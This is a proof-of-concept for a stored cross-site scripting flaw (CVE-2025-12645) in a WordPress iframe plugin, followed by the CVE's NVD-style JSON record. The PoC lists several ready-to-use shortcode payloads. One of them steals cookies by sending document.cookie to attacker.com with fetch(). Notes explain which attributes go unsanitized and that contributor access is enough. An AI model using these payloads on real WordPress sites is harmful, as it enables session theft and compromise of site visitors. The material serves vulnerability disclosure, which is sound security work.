CVE-2025-12645

<!-- WordPress Inline frame - Iframe Plugin XSS PoC --> <!-- Login as Contributor or higher role --> <!-- Insert this shortcode in a post/page --> [embedsite src='javascript:alert(document.cookie)' html='<img src=x onerror=alert(String.fromCharCode(88,83,83))>'] <!-- Alternative payload using onload event --> [embedsite src='https://attacker.com' html='<iframe src="" onload="alert(document.domain)">'] <!-- Cookie stealing payload --> [embedsite src='javascript:fetch("https://attacker.com/steal?c="+document.cookie)' html='<img src=x>'] <!-- XSS via URL parameter injection --> [embedsite src='https://example.com?param=<script>alert(1)</script>' html='<div></div>'] <!-- Notes: 1. The vulnerable code in iframe.php does not sanitize the 'src' attribute 2. The 'html' parameter content is also not properly escaped 3. When page is rendered, the malicious JavaScript executes in victim's browser 4. Attacker needs Contributor role or higher to exploit -->

{"cve": {"id": "CVE-2025-12645", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:49.283", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Inline frame – Iframe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'embedsite' shortcode in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/inline-frame-iframe/tags/0.1/iframe.php#L76", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ceda1e49-4e65-4038-9207-ef4647838f53?source=cve", "source": "[email protected]"}]}}